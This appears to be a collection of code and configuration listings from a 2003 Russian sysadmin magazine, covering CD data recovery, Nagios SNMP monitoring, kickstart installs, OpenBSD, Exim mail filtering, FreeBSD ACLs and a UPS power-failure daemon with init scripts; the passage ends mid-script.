Восстановление данных с лазерных дисков Крис Касперски Листинг 1. Вывод содержимого диска на экран, на самом деле коварная Windows выводит содержимое одной лишь последней сессии диска. Что содержат все остальные – неизвестно. Во всяком случае, пока неизвестно. KPNC$G:\>dir Том в устройстве G имеет метку 030710_1433 Серийный номер тома: 4DD0-BB09 Содержимое папки G:\ 28.05.2003 05:57 6 283 745 phck31.drf.zip 03.06.2003 05:39 8 085 410 phck31.Вт 03.06.2003.zip 04.06.2003 16:45 7 898 149 phck31.Ср 04.06.2003.zip 05.06.2003 06:06 6 718 926 phck31.Чт 05.06.2003.zip 03.07.2003 15:51 10 612 230 phck31.Чт 03.07.2003.zip 05.07.2003 06:37 8 946 860 phck31.Сб 05.07.2003.zip 08.07.2003 12:51 9 009 642 phck31.Вт 08.07.2003.zip 09.07.2003 06:21 9 138 651 phck31.Ср 09.07.2003.zip 10.07.2003 14:32 9 388 543 phck31.Чт 10.07.2003.zip 9 файлов 76 082 156 байт 1 папок 0 байт свободно Листинг 2. Оригинальный стартовый адрес Lead-Out (слева) и стартовый адрес первого трека диска (справа). [Entry 2] [Entry 3] Session=1 Session=1 Point=0xa2 Point=0x01 ADR=0x01 ADR=0x01 Control=0x04 Control=0x04 TrackNo=0 TrackNo=0 AMin=0 AMin=0 ASec=0 ASec=0 AFrame=0 AFrame=0 ALBA=-150 ALBA=-150 Zero=0 Zero=0 PMin=0 PMin=0 PSec=29 PSec=1 PFrame=33 PFrame=0 PLBA=2058 PLBA=0 Листинг 3. Ключевой фрагмент «реаниматора» 75-минутных CD-RW дисков. [Entry 2] [Entry 3] Session=1 Session=1 … … PMin=74 PMin=74 PSec=30 PSec=01 PFrame=00 PFrame=42 Мониторинг Windows-серверов с помощью Nagios Андрей Бешков .iso.org.dod.internet.mgmt.mib2.system.sysUpTime .iso.3.dod.1.mgmt.1.1.sysUpTime system.sysUpTime interfaces.ifTable.ifEntry.ifType.16777219 interfaces.ifTable.ifEntry.ifIndex.16777219 interfaces.ifTable.ifEntry.ifMtu.16777219 interfaces.ifTable.ifEntry.ifType.1 interfaces.ifTable.ifEntry.ifIndex.1 interfaces.ifTable.ifEntry.ifMtu.1 .iso.org.dod.internet.mgmt.mib-2.system.sysContact .iso.org.dod.internet.mgmt.mib-2.IfTable.IfTable.IfEntry.IfOperStatus Mib_ii MIB_II_TRANSMISSION RFC_BASE_MINIMUM PRIVATE_ENTERPRISES/Microsoft_win2k PRIVATE_ENTERPRISES/Microsoft_Apps .iso.org.dod.internet.mgmt.mib-2.host.hrDevice.hrProcessorTable.hrProcessorEntry.hrProcessorLoad .iso.org.dod.internet.private.enterprises .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.cpuprocessorTable.cpuprocessorEntry.cpuPercentProcessorTime.iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.cpuprocessorTable.cpuprocessorEntry.cpuPercentProcessorTime .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.memmory.memmoryCommitLimit .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.memmory.memmoryCommittedBytes .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.pdiskphysicalDiskTable .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.ldisklogicalDiskTable .iso.org.dod.internet.mgmt.mib-2.host.hrStorage.hrStorageTable .iso.org.dod.internet.mgmt.mib-2.host.hrStorage.hrStorageTable.hrStorageEntry.hrStorageDescr .iso.org.dod.internet.private.enterprises.microsoft.software.systems.os.windowsNT.performance.pagefilepaging-FileTable.pagefilepaging-FileEntry.pagefilePercentUsage # tar zxvf net-snmp-5.0.8.tar.gz # ./configure Defaul version of SNMP to use (3): 3 # Версия протокола SNMP, которую надлежит использовать # по умолчанию для всех запросов. # Можно написать 1, 2c, 3. Я, как всегда, выбрал самую новую. System contact infomation root@: tigrisha@sysadmins.ru # Адрес лица, ответственного за работу SNMP. Можно писать # что угодно. System Location (Unknown): home # Географическое местоположение этой машины. Снова можно # писать все, что придет в голову. Location to write log file /var/log/snmpd.log:/var/log/snmpd.log # Сюда демон snmpd будет записывать файлы журналов своей работы Location to write persistent information /var/net/snmp:/var/net/snmp # А тут подсистема SNMP будет хранить свою рабочую информацию # make # umask 022 # make install # /usr/local/etc/rc.d/snmpd.sh stop # chmod ugo-x /usr/local/etc/rc.d/snmpd.sh # ./configure --prefix=/usr/local/nagios --with-nagios-user=nagios --with-nagios-grp=nagios # gmake all # gmake install #/usr/local/nagios/libexec/check_snmp -H win2000rus -C QWEmn90 -o system.sysUpTime.0 SNMP problem - No data recieved from host CMD: /usr/local/bin/snmpget -m ALL -v 1 -c QWEmn90 win2000rus system.sysUpTime.0 -v 1 # Версия протокола. Windows поддерживает версии 1 и 2c. # Лучше использовать 2с, потому что версия 1 небезопасна. –m ALL # Приказываем использовать все имеющиеся файлы MIB –c QWEmn90 # Имя сообщества, используемое для доступа к данным. # Позволяет только чтение. win2000rus # Имя или IP-адрес машины, которой нужно отправить запрос. OID # Идентификатор объекта, в котором находятся интересующие # нас данные. # /usr/local/bin/snmpget -v2c –m ALL –c QWEmn90 win2000rus system.sysUpTime.0 # /usr/local/bin/snmpget –m ALL –c QWEmn90 -v2c win2000rus system.sysUpTime.0 # /usr/local/bin/snmpget -v2c –m ALL –c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 # /usr/local/bin/snmpget –m ALL –c QWEmn90 -v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 # /usr/local/bin/snmpwalk -v2c –m ALL –c QWEmn90 win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 # /usr/local/bin/snmpwalk –m ALL –c QWEmn90 -v2c win2000rus .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 /* create the command line to execute */ command_line = ssprintf (command_line, "%s -m ALL -v 1 %s %s %s", PATH_TO_SNMPGET, server_address, community, oid); /* create the command line to execute */ command_line = ssprintf (command_line, "%s -v2c -m ALL -c %s %s %s", "/usr/local/bin/snmpwalk",community,server_address, oid); /* create the command line to execute */ command_line = ssprintf (command_line, "%s -m ALL -c %s -v2c %s %s", "/usr/local/bin/snmpwalk",community,server_address, oid); # gmake all # gmake install #/usr/local/nagios/libexec/check_snmp -H win2000rus -C QWEmn90 -o .1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1 SNMP OK - INTEGER: 12 define command{ command_name check_snmp_oid command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -C $ARG2$ -w $ARG3$ -c $ARG4$ -u $ARG5$ -l "" } # Сервис, показывающий данные о проценте использования # файла подкачки define service{ use generic-service host_name win2000rus service_description SNMP Page File Usage is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Порог предупреждения устанавливаем на 80%, а критическое # состояние на 90%. # Обратите внимание на знак “%”, передаваемый в последнем # аргументе. Мы присоединяем этот знак к результатам, # возвращаемым после выполнения запроса. check_command check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.6.1.3!QWEmn90!80!90!% } # Данные о загрузке процессора, собираемые # через SNMP4W2K define service{ use generic-service host_name win2000rus service_description SNMP CPU Load is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.2.1.3.1!QWEmn90!80!90!% } # Данные о загрузке процессора, собираемые через # стандартную ветку .iso.org.dod.internet.mgmt.mib-2.host.hrDevice.hrProcessorTable.hrProcessorEntry.hrProcessorLoad define service{ use generic-service host_name win2000rus service_description SNMP hrProcessorLoad is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_snmp_oid!.1.3.6.1.2.1.25.3.3.1.2.2!QWEmn90!80!90!% } # Время работы системы с момента # последней перезагрузки define service{ use generic-service host_name win2000rus service_description SNMP Up Time is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Обратите внимание на то, что пороги предупреждения и # критического состояния для данного сервиса смысла не # имеют, поэтому отключены с помошью пустых кавычек “”. # Дописывать в результат тоже ничего не будем, а значит, # снова нужно использовать “” check_command check_snmp_oid!.1.3.6.1.2.1.1.3!QWEmn90!""!""!"" } # Процент использования виртуальной памяти define service{ use generic-service host_name win2000rus service_description SNMP Virtual Memory usage is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command # Порог предупреждения устанавливаем # на достижении 80% заполнения, # соответствующих 25 479 7360 байтам, и критическое состояние, # наступающее при заполнении 90% памяти, устанавливаем # на отметку в 286 647 030 байт. # В результат, возвращаемый модулем, добавляем строку “bytes” check_snmp_oid!.1.3.6.1.4.1.311.1.1.3.1.1.1.3.0!QWEmn90!254797360!286647030!bytes } # Сколько места израсходовано на диске C:\ define service{ use generic-service host_name win2000rus service_description SNMP Space used on disk C:\ is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 1 retry_check_interval 1 contact_groups win-admins notification_interval 120 notification_period 24x7 notification_options c,r # Порог предупреждения наступает при расходе 80% пространства # диска, соответственно, 835367 блока. Критическое состояние # наступает при заполнении 90% пространства. Для моей машины # это 938788 блоков. В отчет, возвращаемый модулем, # добавляем строку “blocks” check_command check_snmp_oid!.1.3.6.1.2.1.25.2.3.1.6.2!QWEmn90!835367!938788!blocks } # /usr/local/etc/rc.d/nagios Пингвин с одного пинка Сергей Яремчук Установка 887 пакетов Установка glibc-common-2.3.2-11.9. …. Установка hwdata-0.75-1. Файл OMF [/usr/local/share/omf/file-roller/file-roller-C.omf] не является допустимым с точки зрения ScrollKeeper-OMF DTD: /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd Невозможно зарегистрировать /usr/local/share/omf/file-roller/file-roller-C.omf Установка redhat-logos-1.1.12-1 # Kickstart file automatically generated by anaconda. install lang ru_RU.UTF-8 langsupport --default ru_RU.UTF-8 ru_RU.UTF-8 ru_UA.UTF-8 uk_UA.UTF-8 keyboard ru_win mouse genericwheelps/2 --device psaux xconfig --card "RIVA128" --videoram 4096 --hsync 30-70 --vsync 50-120 --resolution 1024x768 --depth 16 --startxonboot --defaultdesktop gnome network --device eth0 --bootproto static --ip 192.168.0.4 --netmask 255.255.255.0 --hostname grinder rootpw --iscrypted $1(zf6ola?s$lNcDbUeKI9l&&AKJ06x4S0 firewall --medium --trust=eth0 authconfig --enableshadow --enablemd5 --enablesmbauth --smbservers grinder --smbworkgroup Gljuk timezone Europe/Kiev bootloader --location=mbr # The following is the partition information you requested # Note that any partitions you deleted are not expressed # here so unless you clear all partitions first, this is # not guaranteed to work #clearpart --linux #part / --fstype ext3 --onpart hda11 #part /mnt/win_c --fstype vfat --noformat --onpart hda2 #part /mnt/win_e --fstype vfat --noformat --onpart hda8 #part /mnt/win_d --fstype vfat --noformat --onpart hda7 #part /usr/local --fstype ext3 --noformat --onpart hda6 #part /mnt/other --fstype reiserfs --noformat --onpart hda9 #part /home --fstype ext3 --noformat --onpart hda10 #part swap --onpart hda5 %packages @ Administration Tools @ GNOME Desktop Environment @ Graphical Internet @ Graphics @ Russian Support @ Sound and Video @ System Tools @ Ukrainian Support @ X Window System -kernel-pcmcia-cs galeon -gtkam ethereal-gnome mc xmms-skins fonts-KOI8-R-75dpi boot: linux ks=floppy boot: linux ks=hd:fd0/anaconda-ks.cfg boot: linux ks redhat-config-kickstart #! /bin/sh for arg in $*; do rpm -е $1 || ехit $? echo "- $1 " >> /root/anaconda-ks.cfg && echo "Файл $1 успешно удален, информация занесена в /root/anaconda-ks.cfg " shift done # rpm_del mozilla xemacs docbook-style-xsl OpenBSD. Первые шаги Денис Назаров wheel:*:0:root,myusername PermitRootLogin no /usr/sbin/passwd # date 200306221825 # ln -fs /usr/share/zoneinfo/Asia/Bishkek /etc/localtime route add default xxx.xxx.xxx.xxx net.inet.ip.forwarding=1 net.inet6.ip.forwarding=1 # cat /etc/resolv.conf lookup file bind nameserver 127.0.0.1 nameserver 172.16.13.35 portmap=YES +:*:::::::: ccdconfig –U ccdconfig –C pheonix@princess pheonix$ wc -l /etc/passwd 5006 /etc/passwd dhcpd_flags=-q cd /usr/ports/packagename; make install Эффективная почтовая система на базе Exim Денис Мысенко bash-2.05a$ wget ftp://ftp.csx.cam.ac.uk/pub/software/email/exim/exim4/exim-4.12.tar.gz bash-2.05a$ tar xzf exim-4.12.tar.gz bash-2.05a$ cd exim-4.12 bash-2.05a$ wget http://duncanthrax.net/exiscan/exiscan-4.12-26.tar.gz bash-2.05a$ tar xzf exiscan-4.12-26.tar.gz bash-2.05a$ patch -l -p1 < exiscan-4.12-26.patch bash-2.05a$ cp src/EDITME Local/Makefile bash-2.05a$ make bash-2.05a$ make install bash-2.05a$ rm -f /usr/sbin/sendmail bash-2.05a$ ln -s /usr/exim/bin/exim /usr/sbin/sendmail bash-2.05a$ sendmail -bd bash-2.05a$ telnet 0 25 Connected to 0. Escape character is '^]'. 220 ourmail.duster.ru ESMTP Exim 4.12 Thu, 17 Jul 2003 16:09:30 +0700 bash-2.05a$ wget http://www.mirror.ac.uk/sites/spamassassin.taint.org/spamassassin.org/released/Mail-SpamAssassin-2.50.tar.gz bash-2.05a$ tar xzf Mail-SpamAssassin-2.50.tar.gz bash-2.05a$ cd Mail-SpamAssassin-2.50 bash-2.05a$ ./configure bash-2.05a$ make bash-2.05a$ su su-2.05a# make install whitelist_from *@duster.ru whitelist_from *@demos.su score BODY_8BITS 0 score SUBJ_FULL_OF_8BITS 0 score HEADER_8BITS 0 score HTML_COMMENT_8BITS 0 su-2.05a# /usr/bin/spamd -d -p 1783 -u spamd su-2.05a# /usr/bin/spamd -h bash-2.05a$ wget ftp://ftp.drweb.ru/pub/unix/4.29.5/drweb-4.29.5-freebsd4.tar.gz bash-2.05a$ tar xzf drweb-4.29.5-freebsd4.tar.gz bash-2.05a$ cd drweb-4.29.5-freebsd4 bash-2.05a$ su su-2.05a# ./install.sh Enter destination directory (/opt/drweb is default): /usr/local/drweb su-2.05a# chown drweb.wheel /usr/local/drweb su-2.05a# chmod 550 /usr/local/drweb su-2.05a# chmod 750 /usr/local/drweb/infected.!!! bash-2.05a$ /usr/local/drweb/drwebd su-2.05a# crontab -u root -e 0 2 * * * /usr/local/drweb/update/update.pl /usr/local/drweb/ friends: driver = manualroute transport = remote_smtp route_list = friends.ru mx.friends.ru *@friends.ru postmaster@ourmail.duster.ru E fixed_login_oe: driver = plaintext public_name = LOGIN server_prompts = "Username:: : Password::" server_condition = ${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}} server_set_id = $1 fixed_login_ns: driver = plaintest public_name = PLAIN server_condition = ${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}} server_set_id = $1 auth_advertise_hosts = !192.168.0.0/16 bash-2.05a$ /usr/exim/bin/eximstats -nr /var/mail/log/mainlog Новые средства ОС FreeBSD 5 Всеволод Стахов # newfs -U -O2 /dev/ad0s3d # tunefs -n enable /dev/ad0s3d # newfs -U -O2 /dev/ad0s3d # shutdowm now Enter a path to shell or press Enter for /bin/sh ... # umount /usr # tunefs -n enable /dev/ad0s3d # logout cebka/usr/src$ mount /dev/ad0s3a on / (ufs, local, soft-updates) devfs on /dev (devfs, local) /dev/ad0s3d on /usr (ufs, local, soft-updates) rw-r----- user:root:rw,group:wheel:r,user:wheel_adm:rw # tunefs -a enable /dev/ad0s3d /dev/ad0s3d /usr ufs rw,acls 1 1 cebka/usr/src$ mount /dev/ad0s3a on / (ufs, local, soft-updates, acls) devfs on /dev (devfs, local) /dev/ad0s3d on /usr (ufs, local, soft-updates, acls) cebka /home/cebka$ ls -l test1 -rw-r--r-- 1 root wheel 8 20 июл 23:35 test1 cebka /home/cebka$ getfacl test1 #file:test1 <-- имя файла #owner:0 <-- владелец( UID) #group:0 <-- группа (GID) user::rw- <-- права владельца (пользователь по умолчанию) group::r-- <-- права группы (группа-владелец по умолчанию) other::r-- <-- права всех остальных # touch /tmp/test.tmp && chmod 0600 /tmp/test.tmp # setfacl -m user:test:rw,group:test:r /tmp/test.tmp # getfacl /tmp/test.tmp #file:/tmp/test.tmp #owner:1 #group:1 user::rw- user:test:rw- group::—- group:test:r— mask::rw- <— максимальный режим доступа для «обычных» пользователей (не владелец) other::—- # su test $ cat > /tmp/test.tmp test ^D $ cat /tmp/test.tmp test # ls -l /tmp/test.tmp -rw-------+ 1 root wheel 0 22 июл 04:03 test.tmp # chown root:wheel example.key # chmod 000 example.key # setfacl user:bind:r example.key options MAС # ugidfw set 1 subject uid 1002 gid 1002 object uid 1 gid 1 mode arsw # sysctl security.mac.ifoff.other_enabled=1 default:\ ---cutted--- :label=partition/1 bind:\ :label=partition/2 user:\ :label=partition/3 Плохое электропитание, или «грабли» с UPS Подключение источника бесперебойного питания UPS Powercom KIN 625AP Павел Закляков /* * powerd Catch power failure signals from * a Trust Energy Protector 400/650 * and notify init * * Usage: powerd /dev/cua3 (or any other serial device) * * Author: Ciro Cattuto * * Version 1.0 - 31 March 1997 * * This code is heavily based on the original powerd.c code * by Miquel van Smoorenburg . * * This program is free software; you can redistribute * it and/or modify it under the terms of the GNU * General Public License as published by * the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. * * * Update for PowerCom King Pro by Fedor Lizunkov * 2:5020/960@Fidonet 24 May 2000 */ /* state 0 - power is good */ #define T0_SLEEP 10 /* interval between port reads,in seconds */ #define T0_INL 3 /* number of seconds IN LINE has to be 0 to cause an action */ #define T0_BAT 3 /* number of seconds BATTERY has to be 0 to cause an action */ /* state 1 - power is failing */ #define T1_SLEEP 2 /* interval between ports reads */ #define T1_INL 3 /* same as T0_INL */ #define T1_BAT 3 /* same as T0_BAT */ #define NUMRECEIVEDBYTES 11 /* out date size from UPS */ #define REQ_01 0x01 /* in date to UPS (request) */ #define REQ_03 0x03 /* in date to UPS (self test) */ #define REQ_OFF 0xbc /* first byte for UPS off */ #define LINE_FAIL 0x01 #define BATT_LOW 0x02 #define UPS_OFF 0x80 #define BATT_BAD 0x02 /* Use the new way of communicating with init. */ #define NEWINIT #include #include #include #include #include #include #include #include #include #include #include #include #include "paths.h" #ifdef NEWINIT #include "initreq.h" #endif #ifndef SIGPWR # define SIGPWR SIGUSR1 #endif #ifdef NEWINIT void alrm_handler() { } #endif /* Tell init that the power has gone (1), is back (0), or the UPS batteries are low (2). */ void powerfail(int event) { int fd; #ifdef NEWINIT struct init_request req; /* Fill out the request struct. */ memset(&req, 0, sizeof(req)); req.magic = INIT_MAGIC; switch (event) { case 0: req.cmd = INIT_CMD_POWEROK; break; case 1: req.cmd = INIT_CMD_POWERFAIL; break; case 2: default: req.cmd = INIT_CMD_POWERFAILNOW; } /* Open the fifo (with timeout) */ signal(SIGALRM, alrm_handler); alarm(3); if ((fd = open(INIT_FIFO, O_WRONLY)) >= 0 && write(fd, &req, sizeof(req)) == sizeof(req)) { close(fd); return; } /* Fall through to the old method.. */ #endif /* Create an info file for init. */ unlink(PWRSTAT); if ((fd = open(PWRSTAT, O_CREAT|O_WRONLY, 0644)) >= 0) { switch (event) { case 0: write(fd, "OK\n", 3); break; case 1: write(fd, "FAIL\n", 5); break; case 2: default: write(fd, "LOW\n", 4); break; } close(fd); } kill(1, SIGPWR); } /* Main program. */ int main(int argc, char *argv[]) { int fd; int dtr_bit = TIOCM_DTR; int rts_bit = TIOCM_RTS; int counter; int ret; unsigned char req_01 = REQ_01; unsigned char in; unsigned char buf[NUMRECEIVEDBYTES]; int status = -1; int INL; int BAT; struct termios tio; int INL_count = 0, BAT_count = 0; int tries; if (argc < 2) { fprintf(stderr, "Usage: powerd \n"); exit(1); } /* Start syslog. */ openlog("powerd", LOG_CONS|LOG_PERROR, LOG_DAEMON); /* Open monitor device. */ if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) { syslog(LOG_ERR, "%s: %s", argv[1], sys_errlist[errno]); closelog(); exit(1); } tcgetattr (fd, &tio); tio.c_cflag = B1200 | CS8 | CLOCAL | CREAD; tio.c_iflag = IGNPAR; tio.c_oflag = 0; tio.c_lflag = 0; tio.c_cc[VMIN] = 1; tio.c_cc[VTIME] = 0; tcflush (fd, TCIFLUSH); tcsetattr (fd, TCSANOW, &tio); /* DTR is low */ ioctl(fd, TIOCMBIC, &dtr_bit); /* RTS is high */ ioctl(fd, TIOCMBIS, &rts_bit); /* Daemonize. */ switch(fork()) { case 0: /* Child */ closelog(); setsid(); break; case -1: /* Error */ syslog(LOG_ERR, "can't fork."); closelog(); exit(1); default: /* Parent */ closelog(); exit(0); } /* Restart syslog. */ openlog("powerd", LOG_CONS, LOG_DAEMON); /* Now sample the DCD line. */ while(1) { tcflush (fd, TCIFLUSH); ret = write(fd, &req_01, 1); if (ret <= 0 ) { sleep(10); continue; } sleep(1); counter = 0; while (counter < NUMRECEIVEDBYTES) { ret = read(fd, &in, 1); if (ret <= 0) { status = -1; break; } #ifdef DEBUG syslog(LOG_DEBUG, "in%d = 0x%x\n", counter, in); #endif buf[counter] = in; counter++; } if ((buf[5] != 0) || (buf[7] != 0) || (buf[8] != 0)) { /* looks like a transfer error in serial data communication */ syslog (LOG_WARNING, "Serial data from ups was invalid!"); sleep(10); continue; } if (buf[10] & BATT_BAD) { syslog (LOG_WARNING, "UPS`s battery is bad!"); sleep(10); continue; } INL = (buf[9] & LINE_FAIL) | (buf[9] & UPS_OFF); BAT = buf[9] & BATT_LOW; #ifdef DEBUG syslog(LOG_DEBUG, "INL = 0x%x, BAT = 0x%x\n", INL, BAT); #endif if (status == -1) { status = (INL == 0) ? 0 : 1; if (INL) { syslog(LOG_ALERT, "Power Failure. UPS active."); powerfail(1); } } switch (status) { case 0: if ((INL == 0) && (BAT == 0)) { INL_count = 0; BAT_count = 0; sleep(T0_SLEEP); continue; } if (INL != 0) INL_count++; if (BAT != 0) BAT_count++; if ((INL_count < T0_INL) && (BAT_count < T0_BAT)) { sleep(1); continue; } if (BAT_count == T0_BAT) { status = 2; syslog(LOG_ALERT, "UPS batteries low!"); break; } status = 1; INL_count = 0; syslog(LOG_ALERT, "Power Failure. UPS active."); break; case 1: if ((INL != 0) && (BAT == 0)) { INL_count = 0; BAT_count = 0; sleep(T1_SLEEP); continue; } if (INL == 0) INL_count++; if (BAT != 0) BAT_count++; if ((INL_count < T1_INL) && (BAT_count < T1_BAT)) { sleep(1); continue; } if (BAT_count == T1_BAT) { status = 2; syslog(LOG_ALERT, "UPS batteries low!"); break; } status = 0; INL_count = 0; BAT_count = 0; syslog(LOG_ALERT, "Power okay."); break; case 2: sleep(1); continue; default: break; } powerfail(status); } /* Never happens */ return(0); } /* This is the file needed by SysVInit */ #define PWRSTAT "/etc/powerstatus" # gcc –c powerd.c # gcc –o powerd powerd.o # gcc powerd.c -o powerd # powerd /dev/ttyS? #!/bin/sh # # This script will be executed *after* all # the other init scripts. # You can put your own initialization stuff in here # if you don't want to do the full Sys V style init stuff. touch /var/lock/subsys/local # Добавить в конец файла # Add support for the UPS echo "Starting powerd daemon..." rm -f /etc/turnUPSoff if [ -x /sbin/powerd ]; then /sbin/powerd /dev/ttyS0 fi # отправка сообщения об успешном запуске, # см. пояснения в конце статьи можно закомментировать /sbin/pager/system_up # What to do when power fails (delayed shutdown). pf::powerfail:/etc/powerfail # If power is back before shutdown, cancel the running shutdown. pg::powerokwait:/etc/powerokay # If UPS batteries are getting low, do an immediate shutdown. pc::powerfailnow:/etc/powerfailnow # # inittab This file describes how the INIT process # should set upthe system in a certain run-level. # # Author: Miquel van Smoorenburg, # # Modified for RHS Linux # by Marc Ewing and Donnie Barnes # # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS # The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:3:initdefault: # System initialization. si::sysinit:/etc/rc.d/rc.sysinit l0:0:wait:/etc/rc.d/rc 0 l1:1:wait:/etc/rc.d/rc 1 l2:2:wait:/etc/rc.d/rc 2 l3:3:wait:/etc/rc.d/rc 3 l4:4:wait:/etc/rc.d/rc 4 l5:5:wait:/etc/rc.d/rc 5 l6:6:wait:/etc/rc.d/rc 6 # Things to run in every runlevel. ud::once:/sbin/update # Trap CTRL-ALT-DELETE ca::ctrlaltdel:/sbin/shutdown -t3 -r now # What to do when power fails (delayed shutdown). pf::powerfail:/etc/powerfail # If power is back before shutdown, cancel the running shutdown. pg::powerokwait:/etc/powerokay # If UPS batteries are getting low, do an immediate shutdown. pc::powerfailnow:/etc/powerfailnow # When our UPS tells us power has failed, assume we have # a few minutes of power left. # Schedule a shutdown for 2 minutes from now. # This does, of course, assume you have powerd installed # and your UPS connected and working correctly. #pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down" # If power was restored before # the shutdown kicked in, cancel it. #pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled" # Run gettys in standard runlevels 1:2345:respawn:/sbin/mingetty tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6 # Run xdm in runlevel 5 # xdm is now a separate service x:5:respawn:/etc/X11/prefdm -nodaemon /etc/powerfail #!/bin/sh # файл /etc/powerfail запускается при пропадании электропитания # Сбрасываем кэши и синхронизируем содержимое дисков # с их частичными образами в памяти. /bin/sync # Проверяем, не запущена ли у нас программа shutdown, например, # на выключение через сутки, если запущена, то вычисляем ее PID # и завершаем ее. Вместо нее будет висеть экземпляр на завершение # через 10 минут. В случае последующего возникновения питания # завершенный экземпляр shutdown на выключение системы востанов- # лен не будет, и система через сутки не выключится. Необходимо # это учитывать дополнительно. PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'` if [ "$PID" != "" ]; then kill -9 $PID fi # создаем файл, служащий флагом выключения ИБП, в него пишем дату # в формате RFC, чтобы нам потом было удобнее понять, когда был # создан файл и пропало напряжение. В принципе в файл можно # ничего не писать, так как можно просто посмотреть время его # создания. date -R>/etc/turnUPSoff # запускаем в фоновом режиме скрипт, осуществляющий сигнализацию # о пропадании питания /sbin/pager/power_fail & # запускаем выключение системы с отсрочкой на 10 минут /sbin/shutdown -t30 -r +10 "POWER FAILURE" /etc/powerokay #!/bin/sh # файл /etc/powerokay, # запускается в случае возвращения электропитания # завершается процесс powerfail, # инициировавший запуск выключения питания, # а вместе с ним и все его потомки, # в том числе и запущенный из него shutdown kill `ps auxw | grep "powerfail" | grep -v grep | awk '{print $2}'` # Убирается флаг выключения ИБП при выключении системы. rm -f /etc/turnUPSoff # Посылается сообщение о восстановлении питания и # система, при необходимости возвращается в уровень 3. # Если на сервере есть надобность в запущенных X-Window, # то следует внести изменения самостоятельно. /sbin/shutdown -c "THE POWER IS BACK" /sbin/init 3 # запускается скрипт, отсылающий сообщение # о востановлении электропитания /sbin/pager/power_okay /etc/powerfailnow #!/bin/sh # файл /etc/powerfailnow, запускается при разряде батарей в ИБП # Сбрасываем кэши и синхронизируем содержимое дисков # с их частичными образами в памяти. /bin/sync # Проверяем, не запущена ли у нас программа shutdown, # например, на выключение через сутки, если запущена, # то вычисляем ее PID и завершаем ее. Вместо нее будет # висеть экземпляр на завершение через 10 минут. # В случае последующего возникновения питания # завершенный экземпляр shutdown на выключение системы # восcтановлен не будет, и система через сутки не выключится. # Необходимо это учитывать дополнительно. PID=`ps auxw | grep "shutdown" | grep -v grep | awk '{print $2}'` if [ "$PID" != "" ]; then kill -9 $PID fi # создаем файл, служащий флагом выключения ИБП, # в него пишем дату в формате RFC, чтобы потом было # удобнее понять, когда был создан файл и пропало напряжение. # В принципе в файл можно ничего не писать, # так как можно просто посмотреть время его создания. date -R>/etc/turnUPSoff # запускаем команду на выключение системы прямо сейчас /sbin/shutdown -r now "UPS batteries low. IMMEDIATE SHUTDOWN." # Если успеваем, то посылаем сообщение администратору # о том, что идет экстренное выключение, возможно, # разумнее разместить отсылку сообщения о выключении # перед командой на выключение, однако # если батарея работает на последнем издыхании, то # может этого не случиться, а компьютер не успеет # выключиться правильно, что может # привести к большим сбоям и потерям данных. /sbin/pager/power_failnow # chmod +x /etc/powerfail # chmod +x /etc/powerokay # chmod +x /etc/powerfailnow /* poweroffups program for UPS Powercom King Pro. (c) Fedor Lizunkov 2:5020/960@Fidonet 26 May 2000 */ #include #include #include #include #include #define PAUSE 15 #define REQ_OFF 0xbc int main(int argc, char *argv[]) { int fd; unsigned char off = REQ_OFF; unsigned char pause = PAUSE; if (argc < 2) { fprintf(stderr, "Usage: poweroff [time(sec)]\n"); exit(1); } /* Open monitor device. */ if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) { exit(1); } if (argc > 2) { pause = (unsigned char)atoi(argv[2]); } write(fd, &off, 1); sleep(1/5); write(fd, &pause, 1); close(fd); return 0; } # gcc -c poweroffups.c # gcc -o poweroffups poweroffups.o # gcc poweroffups.с -o poweroffups # Добавить в конец файла перед строкой # "eval $command $HALTARGS" или "eval $command -i -d -p" # Is this a powerfail situation? if [ -f 